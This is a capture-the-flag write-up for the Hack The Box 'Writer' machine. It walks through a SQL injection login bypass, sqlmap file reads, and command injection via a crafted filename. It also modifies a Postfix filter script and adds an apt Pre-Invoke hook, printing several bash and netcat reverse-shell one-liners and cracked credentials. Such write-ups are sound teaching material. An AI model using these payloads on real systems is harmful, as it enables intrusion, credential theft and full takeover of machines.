Writer - [HTB]
Table of Contents
Introduction
Writer is a medium linux machine where the attacker will have to use sqli for becoming Admin in a writer's blog and for downloading files from the machine. Thanks to the files that the attacker is able to download will be able to analyse its functions discovering a vulnerability that will lead him or her to obtain RCE. Then, will have to modify a bash script used in a local smtp server to become the user john. Finally, because john is able to create files under the apt configuration folder, the attacker will only have to create a malicious file under this directory waiting for an automated update.
Enumeration
As always, let's start finding all opened ports in the machine with nmap.
kali@kali:~/Documents/HTB/Writer$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.101
Warning: 10.10.11.101 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.101
Host is up (0.094s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
# Nmap done at Thu Aug 12 14:16:36 2021 -- 1 IP address (1 host up) scanned in 301.73 seconds
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/Documents/HTB/Writer$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,139,445 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-08-12T18:20:36
|_ start_date: N/A
Looking at port 80 seems to be a blog.
Because the main page isn't very helpful, let's jump in to web enumeration.
kali@kali:~/Documents/HTB/Writer$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o gobuster.txt -u http://10.10.11.101/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http:///10.10.57.191/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,txt,doc
[+] Timeout: 10s
===============================================================
2021/08/01 04:12:20 Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 200) [Size: 3522]
/contact (Status: 200) [Size: 4905]
/static (Status: 301) [Size: 313] [--> http://10.10.11.101/static/]
/logout (Status: 302) [Size: 208] [--> http://10.10.11.101/]
/dashboard (Status: 302) [Size: 208] [--> http://10.10.11.101/]
/administrative (Status: 200) [Size: 1443]
In the /administrative
page there is a login form vulnerable to SQLi.
Exploitation
In order to check if it is vulnerable to **SQLi **we can send 'or 1=1 -- -
as username, getting access as Admin. So now, we are able to create posts with images attached.
Note: You need to click on 'here' in order to write an URL. This will come handy later.
Then we can use sqlmap to dump not only the database, but stored files in the machine like /etc/passwd
.
Note: By default sqlmap uses time based attackes, so downloading a file can take hours. Hence, you need to specify the Union technique taking just a couple of seconds.
kali@kali:~/Documents/HTB/Writer$ sqlmap -u "http://10.10.11.101/administrative" --data "uname=asd&password=asd" -p uname --dbms=MySQL -D writer -T users --dump
[...]
Database: writer
Table: users
[1 entry]
+----+------------------+--------+----------------------------------+----------+--------------+
| id | email | status | password | username | date_created |
+----+------------------+--------+----------------------------------+----------+--------------+
| 1 | admin@writer.htb | Active | 118e48794631a9612484ca8b55f622d0 | admin | NULL |
+----+------------------+--------+----------------------------------+----------+--------------+
kali@kali:~/Documents/HTB/Writer$ sqlmap -u "http://10.10.11.101/administrative" --data "uname=asd&password=asd" -p uname --file-read=/etc/passwd --technique=U
[...]
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] N
[...]
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/10.10.11.101/files/_etc_passwd (same file)
kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/10.10.11.101/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
[...]
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
[...]
john:x:1001:1001:,,,:/home/john:/bin/bash
Furheremore, obtaining the file /etc/apache2/sites-available/000-default.conf
we can obtain information about the web server internals. As we can see, trying to access to the port 80 the apache server executes the script writer.wsgi
.
kali@kali:~/Documents/HTB/Writer$ sqlmap -u "http://10.10.11.101/administrative" --data "uname=asd&password=asd" -p uname --file-read=/etc/apache2/sites-available/000-default.conf --batch
[...]
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
do you want confirmation that the remote file '/etc/apache2/sites-available/000-default.conf' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
got a 302 redirect to 'http://10.10.11.101/dashboard'. Do you want to follow? [Y/n] n
[...]
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/10.10.11.101/files/_etc_apache2_sites-available_000-default.conf (same file)
kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/10.10.11.101/files/_etc_apache2_sites-available_000-default.conf
# Virtual host configuration for writer.htb domain
<VirtualHost *:80>
ServerName writer.htb
ServerAdmin admin@writer.htb
WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
<Directory /var/www/writer.htb>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/writer.htb/writer/static
<Directory /var/www/writer.htb/writer/static/>
Order allow,deny
Allow from all
</Directory>
[...]
Downloading the file writer.wsgi
we can know the existance of a file named __init__.py
.
kali@kali:~/Documents/HTB/Writer$ sqlmap -u "http://10.10.11.101/administrative" --data "uname=asd&password=asd" -p uname --file-read=/var/www/writer.htb/writer.wsgi --technique=U
[...]
do you want confirmation that the remote file '/var/www/writer.htb/writer.wsgi' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
[...]
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/10.10.11.101/files/_var_www_writer.htb_writer.wsgi (same file)
kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/10.10.11.101/files/_var_www_writer.htb_writer.wsgi
#!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
This file is stored under the path /var/www/writer.htb/writer/
.
kali@kali:~/Documents/HTB/Writer$ sqlmap -u "http://10.10.11.101/administrative" --data "uname=asd&password=asd" -p uname --file-read=/var/www/writer.htb/writer/__init__.py --technique=U
[...]
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
do you want confirmation that the remote file '/var/www/writer.htb/writer/__init__.py' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
got a 302 redirect to 'http://10.10.11.101/dashboard'. Do you want to follow? [Y/n] n
[...]
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/10.10.11.101/files/_var_www_writer.htb_writer___init__.py (size differs from remote file)
Viewing the code inside the file we can see that under the routes /dashboard/stories/add
and /dashboard/stories/edit/<id>'
the following code is being executed if we upload an image by file or by URL.
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
Analysing the code we can see several things. First, we can upload any file containing the characters ".jpg" in its filename ( image
parameter) which will beistored under the path /var/www/writer.htb/writer/static/img/<FilenName>
.
Secondly, and most important, we need to know how the function urllib.request.urlretrieve()
works so we can obtain RCE. Basically, if we pass this function an url like http://domain.com/image.jpg the local_filename
variable will stored a string like /tmp/tmptetntjkk
. But, if the image url looks like "file:///etc/passwd" it will return the actual path "/etc/passwd". Furtheremore, the path will by added to the function os.system()
which will execute anything in the resulting string as a command.
Hence, if we create a file named patata.jpg; id ;echo
the resulting string will look like this.
mv patata.jpg; id ;echo patata.jpg; id ;echo .jpg
This will produce an error on the mv
command, executing the id command and avoiding any error with the ".jpg" string.
In order to obtain a reverse shell we need to encode the payload into base64, creating the file with touch.
kali@kali:~/Documents/HTB/Writer$ echo "bash -i >& /dev/tcp/10.10.14.72/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Mi80NDQ0IDA+JjEK
kali@kali:~/Documents/HTB/Writer$ touch "patata.jpg; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Mi80NDQ0IDA+JjEK|base64 -d|bash;echo"
Now, we need to create a post uploading the file we have just created and then,modify it by changing its story image using the URL form.
file:///var/www/writer.htb/writer/static/img/patata.jpg; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Mi80NDQ0IDA+JjEK|base64 -d|bash;echo
However, we need to remove the pattern
html attribute from the image_url
form so we can submit the modification.
<input class="form-control" type="url" pattern="http(s?)(:\/\/)((www.)?)(([^.]+)\.)?([a-zA-z0-9\-_]+)(.com|.net|.gov|.org|.in|.co.uk)(\/[^\s]*)?" name="image_url" title="Special characters are not allowed!"></input>
If you have done everything above correctly you will get a reverse shell as www-data.
kali@kali:~/Documents/HTB/Writer$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.72] from (UNKNOWN) [10.10.11.101] 35676
bash: cannot set terminal process group (1002): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation 1
Inside the MariaDB configuration file located at /etc/mysql/my.cnf
we can obtain obtaining kyle's hashed password.
www-data@writer:/$ cat /etc/mysql/my.cnf
[...]
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
www-data@writer:/tmp$ mysql -u djangouser -pDjangoSuperPassword
MariaDB [dev]> use dev; select username, password from auth_user;
Database changed
+----------+------------------------------------------------------------------------------------------+
| username | password |
+----------+------------------------------------------------------------------------------------------+
| kyle | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= |
+----------+------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)
In order to crack it we can use hashcat.
kali@kali:~/Documents/HTB/Writer$ cat kyleHash.txt
kyle:pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=
kali@kali:~/Documents/HTB/Writer$ hashcat -m 10000 --username kyleHash.txt /usr/share/wordlists/rockyou.txt
[...]
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
Kyle's creds can be used for getting access to the machine through SSH, obtaining the user flag.
kali@kali:~/Documents/HTB/Writer$ ssh kyle@10.10.11.101
The authenticity of host '10.10.11.101 (10.10.11.101)' can't be established.
ECDSA key fingerprint is SHA256:GX5VjVDTWG6hUw9+T11QNDaoU0z5z9ENmryyyroNIBI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.101' (ECDSA) to the list of known hosts.
kyle@10.10.11.101's password: marcoantonio
kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
kyle@writer:~$ cat user.txt
[CENSORED]
Privilege Escalation 2
Kyle is a member of the group filter allowing him to edit the file /etc/postfix/disclaimer
.
kyle@writer:~$ find / -group filter 2>/dev/null
/etc/postfix/disclaimer
/var/spool/filter
kyle@writer:~$ ls -la /etc/postfix/disclaimer
-rwxrwxr-x 1 root filter 1021 Aug 12 18:42 /etc/postfix/disclaimer
kyle@writer:~$ cat /etc/postfix/disclaimer
#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail
[...]
Digging more inside the /etc/postfix/
directory there is a file named master.cf
where appears the user john and the file disclaimer
.
kyle@writer:/etc/postfix$ cat master.cf
[...]
flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
Looking at the POSTFIX documentation we can know that once an email is received the user john will execute the file /etc/postfix/disclaimer
. So because we have write permissions in this file we can add a malicious code, obtaining a reverse shell.
#!/bin/sh
# Localize these.
bash -c 'bash -i >& /dev/tcp/10.10.14.72/4445 0>&1'
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail
[...]
Finally, we only need to send an email to the local smtp server running on port 25.
kyle@writer:~$ netstat -ptuona | grep LISTEN
[...]
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - off (0.00/0/0)
[...]
You can use the following python script to send the email.
kali@kali:~/Documents/HTB/Writer$ cat sendEmail.py
import smtplib
server = smtplib.SMTP("localhost",25)
server.ehlo()
server.sendmail("a@b.c","a@b.c","Hello")
server.quit()
Note: Because the machine erase everything under the /tmp
folder every two minutes I encourage you to use another folder. Furthermore, it replaces the file /etc/postfix/disclaimer
with a new copy so keep a copy of your modified version of disclaimer
, avoiding editing the same file over and over in case you can't do everything fast enough.
kyle@writer:~/.cache$ cd ~/.cache && cp /etc/postfix/disclaimer
kyle@writer:~/.cache$ vim disclaimer && cat disclaimer
#!/bin/sh
# Localize these.
bash -c 'bash -i >& /dev/tcp/10.10.14.72/4445 0>&1'
[...]
kyle@writer:~/.cache$ cp disclaimer /etc/postfix/disclaimer && python3 sendMail.py
Once the file has been modified and the emails has been sent you will receive a reverse shell as john.
kali@kali:~/Documents/HTB/Writer$ nc -nvlp 4445
listening on [any] 4445 ...
connect to [10.10.14.72] from (UNKNOWN) [10.10.11.101] 54708
bash: cannot set terminal process group (73854): Inappropriate ioctl for device
bash: no job control in this shell
john@writer:/var/spool/postfix$ id
uid=1001(john) gid=1001(john) groups=1001(john)
Privilege Escalation 3
Inside the john's home directory there is an SSH key.
john@writer:/home/john$ ls -la .ssh/
total 20
drwx------ 2 john john 4096 Jul 9 12:29 .
drwxr-xr-x 5 john john 4096 Aug 17 06:01 ..
-rw-r--r-- 1 john john 565 Jul 9 12:29 authorized_keys
-rw------- 1 john john 2602 Jul 9 12:29 id_rsa
-rw-r--r-- 1 john john 565 Jul 9 12:29 id_rsa.pub
Using john's SSH key show us that we are member of the management group, something that didn't appear before.
kali@kali:~/Documents/HTB/Writer$ ssh -i JohnSSH.key john@10.10.11.101
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
The members of this group can create files under the /etc/apt/apt.conf.d
directory.
john@writer:~$ find / -group management 2> /dev/null
/etc/apt/apt.conf.d
john@writer:/etc/apt/apt.conf.d$ ls -la /etc/apt/apt.conf.d
total 48
drwxrwxr-x 2 root management 4096 Aug 17 08:18 .
drwxr-xr-x 7 root root 4096 Jul 9 10:59 ..
-rw-r--r-- 1 root root 630 Apr 9 2020 01autoremove
-rw-r--r-- 1 root root 92 Apr 9 2020 01-vendor-ubuntu
-rw-r--r-- 1 root root 129 Dec 4 2020 10periodic
-rw-r--r-- 1 root root 108 Dec 4 2020 15update-stamp
-rw-r--r-- 1 root root 85 Dec 4 2020 20archive
-rw-r--r-- 1 root root 1040 Sep 23 2020 20packagekit
-rw-r--r-- 1 root root 114 Nov 19 2020 20snapd.conf
-rw-r--r-- 1 root root 625 Oct 7 2019 50command-not-found
-rw-r--r-- 1 root root 182 Aug 3 2019 70debconf
-rw-r--r-- 1 root root 305 Dec 4 2020 99update-notifier
Looking on google about "apt.conf.d privilegfe escalation" appears this post explaining how can we become root if we have write permissions in this folder.
Basically we only need to create a new file inside this folder with the following content so when the system updates; apt will execute our command before updating itself.
Finally, after two minutes we will obtain a reverse shell as root.
john@writer:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.72 4446 >/tmp/f"};' > 60pwn
kali@kali:~/Documents/HTB/Writer$ nc -nlvp 4446
listening on [any] 4446 ...
connect to [10.10.14.72] from (UNKNOWN) [10.10.11.101] 60172
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
[CENSORED]